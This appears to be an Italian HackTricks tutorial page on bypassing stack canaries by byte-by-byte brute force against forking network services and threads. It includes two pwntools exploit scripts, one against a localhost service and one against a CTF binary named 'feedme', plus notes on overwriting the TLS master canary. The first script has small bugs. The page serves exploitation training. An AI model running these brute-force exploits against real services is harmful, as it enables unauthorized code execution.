BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.
note
Nota che checksec
potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.
Tuttavia, puoi notarlo manualmente se trovi che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.
Brute force Canary
Il modo migliore per bypassare un semplice canary è se il binario è un programma che fork i processi figli ogni volta che stabilisci una nuova connessione con esso (servizio di rete), perché ogni volta che ti connetti ad esso verrà utilizzato lo stesso canary.
Quindi, il modo migliore per bypassare il canary è semplicemente forzarlo carattere per carattere, e puoi capire se il byte del canary indovinato era corretto controllando se il programma è andato in crash o continua il suo flusso regolare. In questo esempio la funzione forza un canary di 8 Bytes (x64) e distingue tra un byte indovinato corretto e un byte errato semplicemente controllando se una risposta viene inviata dal server (un altro modo in altra situazione potrebbe essere utilizzare un try/except):
Example 1
Questo esempio è implementato per 64 bit ma potrebbe essere facilmente implementato per 32 bit.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Esempio 2
Questo è implementato per 32 bit, ma potrebbe essere facilmente cambiato a 64 bit.
Nota anche che per questo esempio il programma si aspettava prima un byte per indicare la dimensione dell'input e il payload.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Threads
I thread dello stesso processo condivideranno anche lo stesso token canary, quindi sarà possibile forzare un canary se il binario genera un nuovo thread ogni volta che si verifica un attacco.
Inoltre, un overflow di buffer in una funzione thread protetta con canary potrebbe essere utilizzato per modificare il canary master memorizzato nel TLS. Questo perché potrebbe essere possibile raggiungere la posizione di memoria in cui è memorizzato il TLS (e quindi, il canary) tramite un bof nello stack di un thread.
Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).
Questo attacco è descritto nel writeup: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Controlla anche la presentazione di https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 che menziona che di solito il TLS è memorizzato da mmap
e quando viene creato uno stack di thread è anch'esso generato da mmap
, il che potrebbe consentire l'overflow come mostrato nel writeup precedente.
Other examples & references
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bit, no PIE, nx, BF canary, scrivere in qualche memoria un ROP per chiamare
execve
e saltare lì.